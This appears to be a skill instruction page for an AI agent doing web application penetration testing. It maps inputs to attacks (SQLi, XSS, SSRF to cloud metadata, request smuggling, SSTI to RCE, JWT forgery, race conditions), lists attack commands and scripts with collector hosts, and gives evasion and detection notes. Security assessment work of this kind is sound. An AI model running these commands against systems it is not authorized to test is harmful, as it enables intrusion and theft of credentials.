web-pentest logo

web-pentest

Full-spectrum web application penetration testing — OWASP Top 10, API security, authentication attacks, business logic, WAF bypass, race conditions

SKILL.md

Full skill instructions

Web Application Penetration Testing

When to Activate

  • Web application security assessment (black/grey/white box)
  • API security testing (REST, GraphQL, WebSocket)
  • Authentication & session management testing (JWT, OAuth/OIDC, SAML)
  • Business-logic and race-condition hunting
  • WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
  • Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

Input signal you observeTest forGo to
id, uid, order_id, account, GUID/sequential refIDOR/BOLA, access controlreferences/auth-api-access-control.md
url, next, callback, dest, webhook, image_urlSSRF + cloud metadata, open redirect, OAuth chainreferences/ssrf-cloud-metadata.md
price, qty, coupon, balance, status, state changebusiness logic + single-packet racereferences/http-desync-cache.md (race)
template/preview/name reflected in outputSSTI -> RCE, reflected XSSreferences/ssti-deserialization.md
search/filter/sort reflected; q=, error echoes inputSQLi, XSS, command injectionreferences/injection-sqli-cmdi.md
token, jwt, Authorization, Cookie, OAuth stateJWT forgery, session/OAuth flawsreferences/auth-api-access-control.md
serialized blob / base64 object / __proto__deserialization, prototype pollutionreferences/ssti-deserialization.md
behind CDN/cache; X-Forwarded-*; keyed paramsdesync (0.CL/TE.0), cache poisoningreferences/http-desync-cache.md

Technique Map

TechniqueATT&CKCWEReferenceScript
SQL injection (UNION/blind/NoSQL)T1190CWE-89references/injection-sqli-cmdi.mdscripts/ssrf_toolkit.py (probe pattern) / sqlmap
OS command / argument injectionT1059CWE-78 / CWE-88references/injection-sqli-cmdi.md-
Reflected/stored/DOM XSST1059.007CWE-79references/xss-csp-clientside.mdscripts/xss_csp_forge.py
CSP bypass / script gadgetsT1059.007CWE-1021references/xss-csp-clientside.mdscripts/xss_csp_forge.py
Client-side prototype pollution -> XSST1059.007CWE-1321references/xss-csp-clientside.mdscripts/xss_csp_forge.py
SSRF + cloud metadata theftT1552.005CWE-918references/ssrf-cloud-metadata.mdscripts/ssrf_toolkit.py
IMDSv2 bypass (Axios gadget)T1552.005CWE-113references/ssrf-cloud-metadata.mdscripts/proto_ssti_gadgets.py
HTTP request smuggling / desyncT1190CWE-444references/http-desync-cache.mdscripts/desync_probe.py
Web cache poisoning / deceptionT1557CWE-525references/http-desync-cache.mdscripts/desync_probe.py
SSTI -> RCE (Jinja2/Twig/FM/...)T1059CWE-1336references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Server-side prototype pollution -> RCET1059CWE-1321references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Insecure deserialization (Java/.NET/PHP)T1059CWE-502references/ssti-deserialization.mdysoserial / ysoserial.net
JWT forgery (none/confusion/jku/jwk/kid)T1078CWE-347references/auth-api-access-control.mdscripts/jwt_forge.py
OAuth/OIDC/SAML auth bypassT1078CWE-287references/auth-api-access-control.mdscripts/jwt_forge.py
GraphQL abuse (batch/alias/depth)T1190CWE-770references/auth-api-access-control.mdscripts/graphql_audit.py
IDOR / BOLA / mass assignmentT1078CWE-639 / CWE-915references/auth-api-access-control.md-
Race condition (single-packet)T1190CWE-362references/auth-api-access-control.mdscripts/race_single_packet.py

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma/EDR)OPSEC note
SQLi / cmdiSQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curlwebserver regex Sigma; EDR child-shell from www-datatime-based is slow+noisy; --random-agent --delay, in-band reads first
XSS / CSP / client-PP<script, onerror=, __proto__ in params; CSP report-uri hitswebserver regex; Trusted-Types violation alertspersistent __proto__ can break shared cached pages — avoid
SSRF / metadatahits to 169.254.169.254 / metadata hosts from app tierproxy Sigma; GuardDuty credential-exfilstop at proving token retrieval; rotate collaborator subdomains
HTTP desync / cacheCL+TE together, obs-fold, Expect on OPTIONS to CDNproxy Sigma; reject ambiguous framingpoisons co-tenant traffic — scoped only, never POST-smuggle prod
SSTI / PP / deser{{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egresswebserver/body Sigma; EDR java->LDAP/RMIid probe first; reverse shells trip EDR; revert polluted config
JWT / OAuth / GraphQLalg:none, unknown jku/kid, multi-op GraphQL bodyapp Sigma; failed-verify spikesforged-JWT attempts alert; cap GraphQL brute wordlist/rate
Race (single-packet)burst of near-simultaneous mutating requestsrate-by-endpoint Sigma in 1s windowkeep -n low; document state mutated for cleanup

Deep Dives

  • references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command & argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.
  • references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass + script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
  • references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis, AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch, 2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
  • references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect & CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
  • references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter, NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
  • references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the HTTP/2 single-packet race attack.
  • references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for ground-truth traffic + replay-with-auth, with mandatory header redaction (redact_headers.py) at the data boundary.